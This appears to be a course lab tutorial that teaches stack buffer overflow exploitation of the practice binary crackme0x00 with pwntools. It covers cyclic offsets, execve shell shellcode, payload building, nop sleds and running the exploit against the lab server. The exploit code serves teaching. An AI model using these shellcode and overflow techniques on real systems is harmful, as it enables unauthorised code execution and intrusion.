Tut03: Writing Exploits with pwntools

In the last tutorial, we used a Python template for writing an exploit, which demonstrated some basic functionality of pwntools. In this tutorial, we'll take a deeper dive and learn more about pwntools and how it can help us write exploits more easily.

Step 0: Triggering a buffer overflow again

Do you remember step 1 of Tut03?

# log into the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>

$ cd tut03-pwntool
$ ./crackme0x00
IOLI Crackme Level 0x00

In the last tutorial, we could hijack this binary's control flow by injecting a long enough input, like this:

$ ./crackme0x00 < /tmp/[secret]/input
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault

$ gdb-pwndbg ./crackme0x00
pwndbg> r < /tmp/[secret]/input
Program received signal SIGSEGV (fault address 0x47474747)

Step 1: cyclic pattern and pwntools basics

pwntools actually provides a convenient way to create inputs like this, commonly known as "cyclic" inputs.

$ cyclic 50

While our simple pattern would've hit a logical roadblock when we reached "ZZZZ", this one can go for much longer.

Given any four bytes in the sequence, pwntools lets us easily look up their position in the input string.

$ cyclic 50 | ./crackme0x00

$ cyclic 50 > /tmp/[secret]/input
$ gdb-pwndbg ./crackme0x00
pwndbg> r </tmp/[secret]/input
Program received signal SIGSEGV (fault address 0x61616167)

$ cyclic -l 0x61616167

$ cyclic --help

We can also use cyclic from within a Python script (below, exploit1.py):

#!/usr/bin/env python3

# import all modules/functions from pwn library
from pwn import *

# set the context of the target platform:
#  arch: i386 (x86 32-bit)
#  os: linux
context.update(arch='i386', os='linux')

# create a process
p = process('./crackme0x00')

# send input to the program, followed by a newline char, "\n"
# (cyclic(50) provides a cyclic string with 50 chars)

# make the process interactive, so you can interact
# with it via its terminal

[Task] Hijack the program's control flow to 0xdeadbeef using cyclic_find() and p32().

Step 2: Exploiting crackme0x00 with pwntools shellcraft

Let's hijack the control flow to invoke an interactive shell.

Before we start, let's check what kinds of security protections have been applied to the binary (again using utilities from pwntools):

$ checksec ./crackme0x00
[*] '/home/lab03/tut03-pwntool/crackme0x00'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Do you see "NX disabled"? That means its memory spaces such as the stack are executable, meaning we can run shellcode there!

Our plan is to hijack its return address ("ra") and jump to some shellcode.

esp               ebp
 V                 V
  ... [    buf   ] [bp] [ra] ... [shellcode ...]
      |<- 0x10 ->|       |       ^
                         |       |

pwntools also provides numerous ready-to-use shellcode templates as well!

$ shellcraft -l

$ shellcraft -f a i386.linux.sh
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

shellcraft can do more than just provide shellcode source code: it also lets you test the shellcode, either by itself (-r) or in GDB (-d). Please check shellcraft --help for more.

# debugging the shellcode
$ shellcraft -d i386.linux.sh

# running the shellcode
$ shellcraft -r i386.linux.sh

You can also use shellcraft in your Python code (below, exploit2.py):

#!/usr/bin/env python3

from pwn import *

context.update(arch='i386', os='linux')

shellcode = shellcraft.sh()

payload  = cyclic(cyclic_find(0x61616167))
payload += p32(0xdeadbeef)
payload += asm(shellcode)

p = process('./crackme0x00')

asm() compiles your shellcode and returns it as a Python bytes.

[Task] Where should it jump (i.e., where is the shellcode located)? Change 0xdeadbeef to the shellcode's address.

Does it work? In fact, it shouldn't, but how can you debug/understand this situation?

Evem more conveniently, we can use pwntools to put together pre-made pieces of shellcode in Python, and test it with run_assembly(). The below code, like the shellcode from lab02, reads a flag and dumps it to the screen:

#!/usr/bin/env python3

from pwn import *

context.update(arch='x86_64', os='linux')

sh  = shellcraft.open('/proc/flag')
sh += shellcraft.read(3, 'rsp', 0x1000)
sh += shellcraft.write(1, 'rsp', 'rax')
sh += shellcraft.exit(0)

p = run_assembly(sh)

Step 3: Debugging Exploits (pwntools GDB module)

The pwntools GDB module provides a convenient way to create your debugging script.

To display debugging information, you need to use a terminal that can split your shell into multiple screens. pwntools supports tmux (tmux cheat sheet), which you should run prior to using the GDB module:

$ tmux
$ ./exploit3.py

Note: For pwntools's GDB module to run properly, you must run tmux prior to running the script.

You can invoke GDB as part of your Python code (below, exploit3.py).

#!/usr/bin/env python3

from pwn import *

context.update(arch='i386', os='linux')


shellcode = shellcraft.sh()

payload  = cyclic(cyclic_find(0x61616167))
payload += p32(0xdeadbeef)
payload += asm(shellcode)

p = process('./crackme0x00')
gdb.attach(p, '''
echo "hi"
# break *0xdeadbeef


Replace 0xdeadbeef with the address of the shellcode.

Note: Because of the security policy enforced by the Linux kernel, gdb.attach() and gdb.debug() don't work with the original setuid binaries under /home/lab03/. You need to first copy the binaries to your tmp directory in order to attach them to GDB.

The only difference from before is that process() is now attached to GDB with gdb.attach(). The second argument to that function is, as you can guess, the GDB script that you'd like to execute (e.g., setting breakpoints).

[Task] Does the exploit get stuck, something like this? (It may appear different in your environment.)

  0xffffd6b0    add    ecx, esp
  0xffffd6b2    push   ecx
  0xffffd6b3    mov    ecx, esp
  0xffffd6b5    xor    edx, edx
  0xffffd6b7    push   0
->0xffffd6b9    sar    bl, 1
  0xffffd6bb    test   dword ptr [eax], 0

The shellcode has not been injected properly. Can you spot the differences between the shellcode below (shellcraft -f a i386.linux.sh) and what was apparently injected (above)? Where does it seem to be getting stuck?

  mov ecx, esp
  xor edx, edx
  /* call execve() */
  push SYS_execve /* 0xb */
  pop eax
  int 0x80

gdb.attach() vs. gdb.debug()

The gdb.attach() and gdb.debug() functions will come in handy when you want to start debugging from within your Python scripts. These two methods are similar, but have one notable difference:

  • gdb.debug() starts a new process under the debugger, as if you're running GDB outside of your exploit script:

    target = './crackme0x00'  # (this is a copied binary under /tmp)
    p = gdb.debug(target, gdbscript='''
      break main
  • gdb.attach() attaches GDB to a process that's already running. Therefore, you need to start the process before invoking gdb.attach(), and pass the process object as an argument:

    target = './crackme0x00'  # (this is a copied binary under /tmp)
    p = process(target)  # first, start the target process
    gdb.attach(p, gdbscript='''
      break main

Step 4: Handling bad characters

$ man scanf

scanf() accepts all non-whitespace chars (including NULL!), but the default shellcode from pwntools contains a whitespace char (0xb), which caused the end of our shellcode to be chopped off.

Here are the characters that scanf() considers whitespace:

09 0a 0b 0c 0d 20

If you're curious to explore this more, check out the scanf sub-directory in tut03-pwntool:

$ cd scanf
$ make

[Task] Can you change your shellcode to avoid using these chars?

pwntools actually supports this feature (look for --avoid in shellcraft --help), but it's unfortunately broken as of when I write this, so you'll have to adjust the shellcode manually for now.

Please use exploit4.py (locally). Did you manage to get a (local) flag?

Tip: Still having problems? Check if the address you're jumping to contains any of scanf()'s illegal bytes. If it does, you can get a more favorable target address by adding an environment variable, which will result in all stack addresses being shifted downward. Or, read the next section to learn about nop sleds, which allow for some flexibility in the address value (for example, you could use 0xAAAAAA21 instead of 0xAAAAAA20)!

Step 5: Getting the flag

Your current exploit looks like this (from exploit4.py):

payload  = cyclic(cyclic_find(0x61616167))
payload += p32([addr-to-local-stack])
payload += asm(shellcode)

p = process('./crackme0x00')

To run your exploit on the lab server, you can of course copy this script there (scp) and run it, but it's also possible to run the script locally and have it connect to our server, like this:

# connect to our server
s = ssh('lab03', '<ctf-server-address>', password='<lab03-password>')

# invoke a process on the server
p = s.process('./crackme0x00', cwd='/home/lab03/tut03-pwntool')

Does your exploit work on the server? ...Probably not. But that's just because stack addresses in your local environment are different from those on the server.

           |           |      |    ret    |      |           |
   a       |    ret    |      | shellcode |      |           |
 fixed  => | shellcode |  =>  |           |  =>  |    ret    |
address    |           |      |           |      | shellcode |
           |    ...    |      |    ...    |      |    ...    |
           |    ENV    |      |    ENV    |      |    ENV    |
0xffffe000 |    ...    |      |    ...    |      |    ...    |
              (local)           (server)     or    (server)

There are a few factors that affect the state of the server's stack. As discussed in the last tutorial, a primary one is environment variables, which are located near the bottom of the stack, as shown above.

One way to increase the chances of executing the shellcode is to add a "nop sled" to the beginning, like this:

payload += p32([addr-to-local-stack])
payload += b'\x90' * 100
payload += asm(shellcode)

If you happen to jump anywhere into the nop sled, execution will harmlessly "slide" through it, and ultimately reach and execute the actual shellcode:

           |           |
           |    ret    |
   a       |    nop    |
 fixed  => |    nop    |
address    |    nop    |
           |    ...    |
           | shellcode |
           |    ...    |
           |    ENV    |
0xffffe000 |    ...    |

The longer the nop sled, the more likely it is that you can manage to jump into it. So why not make a huge nop sled, say 0x10000 bytes long? Unfortunately, stack space is limited (try vmmap in gdb-pwndbg), so if your input is too long, it'll reach the end of the stack (i.e., 0xffffe000).

 0x8048000  0x8049000 r-xp     1000 0      /tmp/crackme0x00
 0x8049000  0x804a000 r-xp     1000 0      /tmp/crackme0x00
 0x804a000  0x804b000 rwxp     1000 1000   /tmp/crackme0x00
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

Is there a way to avoid this issue? One way is to add more environment variables, in order to enlarge the stack region:

p = s.process('./crackme0x00', cwd='/home/lab03/tut03-pwntool',
              env={b'DUMMY': b'A'*0x1000})

[Task] Did you finally manage to execute the shellcode and get the flag? Please submit the flag and claim the points!

pwntools has many more features than those introduced in this tutorial. Please check the documentation if you'd like to learn more.